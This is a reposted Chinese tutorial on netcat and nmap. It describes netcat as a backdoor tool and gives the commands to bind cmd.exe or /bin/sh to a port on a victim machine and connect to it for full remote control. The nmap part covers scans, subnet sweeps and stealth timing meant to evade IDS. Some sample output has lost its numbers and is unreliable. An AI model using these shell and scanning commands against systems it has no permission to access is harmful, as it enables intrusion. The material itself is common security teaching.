netstat/Nmap/netcat等网络命令工具的使用方法 - 安全工具 - 服务器之家

服务器之家

专注于服务器技术!
当前位置:首页 > 服务器安全 > 安全工具

netstat/Nmap/netcat等网络命令工具的使用方法

发布时间:2014-04-12 来源:服务器之家

这三款工具是网络安全利器,做一个简单摘要,以备参考。

netcat--网安瑞士军刀

netcat可以用于监控/扫描网络端口,它应用最多的情况是后门程序。

一般分两个步骤:

  步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e shell // 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
  步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。

    下面的例子是将windows下的cmd.exe绑定在80端口,

   然后在Linux机器上进行控制

可以看到,我们在Linux下完全得到了Windows下一样的cmd.exe,而且我们可以完全像在本地控制一样远程完全控制Windows。

 __________________________________________

nmap: 功能强大的端口扫描工具

 简单来讲,nmap有以下几种主要用法


全面扫描:nmap-T4 -A targetip
主机发现:nmap-T4 -sn targetip
端口扫描:nmap-T4 targetip
服务扫描:nmap-T4 -sV targetip
操作系统扫描:nmap-T4 -O targetip

下面给出几个例子,如默认扫描一台主机的开放端口


C:Usersaa>nmap 101.41.11.45
Starting Nmap 5.51 ( http://nmap.org ) at 2012-03-23 14:13 中国标准时间
Nmap scan report for 101.41.11.45
Host is up (.00061s latency).
Not shown:  closed ports
PORT     STATE SERVICE
/tcp  open  netbios-ssn
/tcp  open  https
/tcp  open  apex-mesh
/tcp open  mysql
/tcp open  ms-term-serv
MAC Address: ::D1:8A:: (Micro-star International CO.)
Nmap done:  IP address ( host up) scanned in 1.49 seconds
端口有如下四种状态:

  Open port(防火墙允许少数端口打开)
  Closed Port(由于防火墙的缘故,大部分的端口被关闭)
  Filtered(Nmap不确定端口是否打开或者关闭)
  Unfiltered(Nmap能够访问这个端口,但是不清楚这个端口打开的状态)

如果用-A选项,会有更加详细的信息,所有开放端口、对应的服务、操作系统信息会一览无余。。。


C:Usersaa>nmap -A 101.41.11.45
Starting Nmap 5.51 ( http://nmap.org ) at 2012-03-23 14:16 中国标准时间
Nmap scan report for 101.41.11.45
Host is up (.00011s latency).
Not shown:  closed ports
PORT     STATE SERVICE       VERSION
/tcp  open  netbios-ssn
/tcp  open  ssl/http      Apache httpd
|_http-title: VisualSVN Server
|_http-favicon:
/tcp  open  vmware-auth   VMware Authentication Daemon 1.0 (Uses VNC, SOAP)
/tcp open  mysql         MySQL 5.5.
| mysql-info: Protocol: 
| Version: 5.5.
| Thread ID: 
| Some Capabilities: Long Passwords, Connect with DB, Compress, ODBC, Transactio
ns, Secure Connection
| Status: Autocommit
|_Salt: w{'M-:xq
/tcp open  ms-term-serv?
MAC Address: ::D1:8A:: (Micro-star International CO.)
Device type: general purpose
Running: Microsoft Windows XP
OS details: Microsoft Windows XP
Network Distance:  hop
Host script results:
|_nbstat: NetBIOS name: XXXXXXX, NetBIOS user: <unknown>, NetBIOS MAC: 
::d3:8a:: (Micro-star International CO.)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
|   OS: Windows XP (Windows  LAN Manager)
|   Name: WORKGROUPXXXXXXX
|_  System time: -- :: UTC+
TRACEROUTE
HOP RTT     ADDRESS
   0.10 ms 101.41.11.45
OS and Service detection performed. Please report any incorrect results at http:
//nmap.org/submit/ .
Nmap done:  IP address ( host up) scanned in 111.66 seconds

扫描特定网段上的活动主机,这是nmap最强的地功能,提供了多种扫描方式


nmap -v -sn 192.168.1.1/ 
nmap 192.168.1.2 192.168.1.5 #扫描多个目标
nmap 192.168.1.1-100 #(扫描IP地址为192.168.1.1-192.168.1.100内 的所有主机)
nmap -iL target.txt #扫描这个target.txt内的所有主机
nmap 192.168.1.1/24 -exclude 192.168.1.1 #扫描除过某一个ip外的所有子网主机
nmap 192.168.1.1/24 -exclude file xxx.txt # xxx.txt中的文件将会从扫描的主机中排除
nmap -p80,21,23 192.168.1.1 # 扫描特定主机上的80,21,23端口
nmap -p 1-1000 192.168.0.1 #只扫描1~1000端口,可以节省时间
nmap -v -sn 192.168.0.0/16 10.0.0.0/8 # 不进行端口扫描



root@bt:~# nmap -v -sn 192.168.0.100/ | grep -v down | grep 
Nmap scan report for bogon (192.168.0.1)
Nmap scan report for bogon (192.168.0.100)
Nmap scan report for bogon (192.168.0.102)
Nmap scan report for bogon (192.168.0.103)

 

-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans, 参数较多,看实际需要进行选择即可。

-sS被称为半开放扫描,因为这种技术使得Nmap不需要通过完整的握手,就能获得远程主机的信息。Nmap发送SYN包到远程主 机,但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。


nmap -v -sS 192.168.1.1/

如果不选择SYN扫描,TCP connect()扫描就是默认的扫描模式.不同于Tcp SYN扫描,Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口.

Udp scan(sU)
顾名思义,这种扫描技术用来寻找目标主机打开的UDP端口.它不需要发送任何的SYN包,因为这种技术是针对UDP端口的。UDP扫描发送UDP数 据包到目标主机,并等待响应,如果返回ICMP不可达的错误消息,说明端口是关闭的,如果得到正确的适当的回应,说明端口是开放的.

FIN scan (sF)
有时候Tcp SYN扫描不是最佳的扫描模式,因为有防火墙的存在.目标主机有时候可能有IDS和IPS系统的存在,防火墙会阻止掉SYN数据包。发送一个设置了FIN标志的数据包并不需要完成TCP的握手

PING Scan (sP)

PING扫描不同于其它的扫描方式,因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限,如果用户没有ROOT权限,PING扫描将会使用connect()调用.

nmap 其它常用参数


 -iR <num hosts>: 随机产生特定数量的ip
 -n:不进行域名解决,大批量扫描时可以省下不少时间
 -F: 快速扫描模式,只扫描常用的100个端口
 -sV:取得对应端口上程序的详细版本信息
 -O: 进行操作系统判别
-T:设置nmap的适时策略  Paranoid(最慢):为了避开IDS的检测使扫描速度极慢,nmap串行所有的扫描,每隔至少5分钟发送一个包;Sneaky:也差不多,只是数据包的发送间隔是15秒;Polite:不增加太大的网络负载,避免宕掉目标主机,串行每个探测,并且使每个探测有0.4秒种的间隔;Normal:nmap默认的选项,在不是网络过载或者主机/端口丢失的情况下尽可能快速地扫描;Aggressive:设置5分钟的超时限制,使对每台主机的扫描时间不超过5分钟,并且使对每次探测回应的等待时间不超过1.5秒钟;Insane(最疯狂,最快):只适合快速的网络或者你不在意丢失某些信息,每台主机的超时限制是75秒,对每次探测只等待0.3秒钟。一般使用数字来代替这些模式,例如:-T 0等于-T Paranoid,-T 5等于-T Insane。